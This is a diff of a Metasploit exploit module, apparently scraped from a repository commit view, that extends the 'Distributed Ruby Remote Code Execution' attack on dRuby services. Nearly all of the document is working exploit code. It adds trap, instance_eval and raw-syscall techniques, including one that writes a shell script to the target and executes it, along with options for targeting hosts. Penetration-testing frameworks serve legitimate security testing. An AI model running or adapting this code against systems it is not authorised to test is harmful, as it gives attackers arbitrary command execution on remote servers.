8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
+ include Msf ::Exploit ::FileDropper
12
+
11
13
def initialize ( info = { } )
12
14
super ( update_info ( info ,
13
15
'Name' => 'Distributed Ruby Remote Code Execution' ,
@@ -31,30 +33,26 @@ def initialize(info = {})
31
33
'Platform' => 'unix' ,
32
34
'Arch' => ARCH_CMD ,
33
35
'Targets' => [
34
- [ 'Automatic' , { } ] ,
36
+ [ 'Automatic' , { method : 'auto' } ] ,
37
+ [ 'Trap' , { method : 'trap' } ] ,
38
+ [ 'Eval' , { method : 'instance_eval' } ] ,
39
+ [ 'Syscall' , { method : 'syscall' } ] ,
35
40
] ,
36
41
'DisclosureDate' => 'Mar 23 2011' ,
37
42
'DefaultTarget' => 0 ) )
38
43
39
-
40
44
register_options (
41
45
[
42
- OptString . new ( 'URI' , [ true , "The dRuby URI of the target host (druby://host:port)" , "" ] ) ,
46
+ OptString . new ( 'URI' , [ false , "The URI of the target host (druby://host:port) (overrides RHOST/RPORT)" , nil ] ) ,
47
+ Opt ::RHOST ( nil , false ) ,
48
+ Opt ::RPORT ( 8787 )
43
49
] )
44
50
end
45
51
46
- def exploit
47
- serveruri = datastore [ 'URI' ]
48
- DRb . start_service
49
- p = DRbObject . new_with_uri ( serveruri )
50
- class << p
51
- undef :send
52
- end
53
-
54
- p . send ( :trap , 23 , :"class Object\n def my_eval(str)\n system(str.untaint)\n end\n end" )
55
- # syscall to decide whether it's 64 or 32 bit:
56
- # it's getpid on 32bit which will succeed, and writev on 64bit
57
- # which will fail due to missing args
52
+ def method_trap ( p )
53
+ p . send ( :trap , 23 ,
54
+ :"class Object\n def my_eval(str)\n system(str.untaint)\n end\n end" )
55
+ # Decide if this is running on an x86 or x64 target, using the kill(2) syscall
58
56
begin
59
57
pid = p . send ( :syscall , 20 )
60
58
p . send ( :syscall , 37 , pid , 23 )
@@ -65,4 +63,89 @@ class << p
65
63
end
66
64
p . send ( :my_eval , payload . encoded )
67
65
end
66
+
67
+ def method_instance_eval ( p )
68
+ p . send ( :instance_eval , "Kernel.fork { `#{ payload . encoded } ` }" )
69
+ end
70
+
71
+ def method_syscall ( p )
72
+ filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
73
+
74
+ begin
75
+ # Decide if this is running on an x86 or x64 target.
76
+ # This syscall number is getpid on x86, which will succeed,
77
+ # or writev on x64, which will fail due to missing args.
78
+ j = p . send ( :syscall , 20 )
79
+ # syscall open
80
+ i = p . send ( :syscall , 8 , filename , 0700 )
81
+ # syscall write
82
+ p . send ( :syscall , 4 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
83
+ # syscall close
84
+ p . send ( :syscall , 6 , i )
85
+ # syscall fork
86
+ p . send ( :syscall , 2 )
87
+ # syscall execve
88
+ p . send ( :syscall , 11 , filename , 0 , 0 )
89
+ print_status ( "attempting x86 execve of #{ filename } " )
90
+
91
+ # likely x64
92
+ rescue Errno ::EBADF
93
+ # syscall creat
94
+ i = p . send ( :syscall , 85 , filename , 0700 )
95
+ # syscall write
96
+ p . send ( :syscall , 1 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
97
+ # syscall close
98
+ p . send ( :syscall , 3 , i )
99
+ # syscall fork
100
+ p . send ( :syscall , 57 )
101
+ # syscall execve
102
+ p . send ( :syscall , 59 , filename , 0 , 0 )
103
+ print_status ( "attempting x64 execve of #{ filename } " )
104
+ end
105
+
106
+ register_file_for_cleanup ( filename ) if filename
107
+ end
108
+
109
+ def exploit
110
+ if !datastore [ 'URI' ] . blank? && !datastore [ 'RHOST' ] . blank?
111
+ print_error ( "URI and RHOST are specified, unset one" )
112
+ return
113
+ end
114
+
115
+ if datastore [ 'URI' ] . blank? && datastore [ 'RHOST' ] . blank?
116
+ print_error ( "neither URI nor RHOST are specified, set one" )
117
+ return
118
+ end
119
+
120
+ unless datastore [ 'URI' ] . blank?
121
+ serveruri = datastore [ 'URI' ]
122
+ ( datastore [ 'RHOST' ] , datastore [ 'RPORT' ] ) = serveruri . sub ( /druby:\/ \/ /i , '' ) . split ( ':' )
123
+ else
124
+ serveruri = "druby://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } "
125
+ end
126
+
127
+ DRb . start_service
128
+ p = DRbObject . new_with_uri ( serveruri )
129
+ class << p
130
+ undef :send
131
+ end
132
+
133
+ if target [ :method ] == 'auto'
134
+ methods = [ "instance_eval" , "syscall" , "trap" ]
135
+ else
136
+ methods = [ target [ :method ] ]
137
+ end
138
+
139
+ methods . each do |method |
140
+ begin
141
+ print_status ( "Trying to exploit #{ method } method" )
142
+ send ( "method_" + method , p )
143
+ handler ( nil )
144
+ break
145
+ rescue SecurityError , DRb ::DRbConnError , NoMethodError
146
+ print_warning ( "Target is not vulnerable to #{ method } method" )
147
+ end
148
+ end
149
+
150
+ end
68
151
end
0 commit comments